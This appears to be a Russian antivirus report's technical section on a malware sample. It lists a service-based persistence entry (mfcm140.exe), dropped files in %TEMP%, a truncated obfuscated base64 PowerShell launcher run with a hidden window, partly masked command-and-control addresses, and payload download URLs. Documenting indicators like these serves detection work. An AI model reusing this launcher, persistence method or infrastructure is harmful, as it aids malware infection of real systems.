Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mfcm140] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfcm140] 'ImagePath' = '"%WINDIR%\SysWOW64\bootcfg\mfcm140.exe"'
- 'mfcm140' "%WINDIR%\SysWOW64\bootcfg\mfcm140.exe"
- 'mfcm140' %WINDIR%\SysWOW64\bootcfg\mfcm140.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAG8AdgBmAHYAMgBuAD0AKAAnAEEAMwAnACsAKAAnAGcAZwAzACcAKwAnADgAdQAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAVABlAG0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\uamrrgt.exe
- %TEMP%\word\2019\uamrrgt.exe в %WINDIR%\syswow64\bootcfg\mfcm140.exe
- '88.##9.181.198':443
- '65.##6.53.186':8080
- '68.##3.233.80':8080
- '18#.#1.158.15':8080
- '37.##7.100.220':7080
- '60.##5.114.64':443
- http://in##d.vn/wp-content/BTAvhtA/
- http://68.###.233.80:8080/p27rS/7MbVmYf38/S7ij9kxGj5Iiew/qkPO/ via 68.##3.233.80
- DNS ASK in##d.vn
- '%TEMP%\word\2019\uamrrgt.exe'
- '%WINDIR%\syswow64\bootcfg\mfcm140.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAG8AdgBmAHYAMgBuAD0AKAAnAEEAMwAnACsAKAAnAGcAZwAzACcAKwAnADgAdQAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAVABlAG0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)